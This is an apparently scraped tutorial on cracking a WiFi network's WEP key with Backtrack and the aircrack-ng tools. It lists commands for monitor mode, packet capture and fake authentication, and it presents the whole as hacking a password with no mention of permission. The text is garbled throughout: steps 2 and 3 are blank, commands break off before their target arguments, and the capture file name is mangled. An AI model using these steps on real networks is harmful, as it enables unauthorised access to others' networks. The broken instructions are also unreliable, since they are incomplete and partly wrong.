Hack WiFi Password With Using Backtrack
Here is what you would require to
crack a WEP Key :
1. Backtrack or any other Linux
distro with aircrack-ng installed.
2. A Wifi adapter capable of injecting
packets , For this tutorial I will use
which is a very popular card and it
performs well with Backtrack.
You can find compatible wifi card
lists here - Go Here
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Open a brand new konsole and sort
within the following commands :
ifconfig wlan0 up
where wlan0 is the name of the
wireless card ,it can be different .
To see all wireless cards connected
to your system simply type in "
Step 1 :
Turn on Monitor Mode !!
To begin, you'll need to first put your
wireless adapter into monitor mode ,
Monitor mode is the mode whereby
your card can listen to every packet
in the air , You can put your card into
monitor mode by typing in the
following commands :
airmon-ng start wlan0
Step 2 :
Step 3 :
airodump-ng -w twan -c 11 -bssid
Step 4 :
aireplay-ng -1 0 -a
As a last step we crack WEP key by
using captured packets and aircrack-
All captured packets are now stored
in twan=02.cap file.
NOTE: Do not stop capturing process
as you do not know if current
amount of captured packed is
satisfactory to crack WEP key...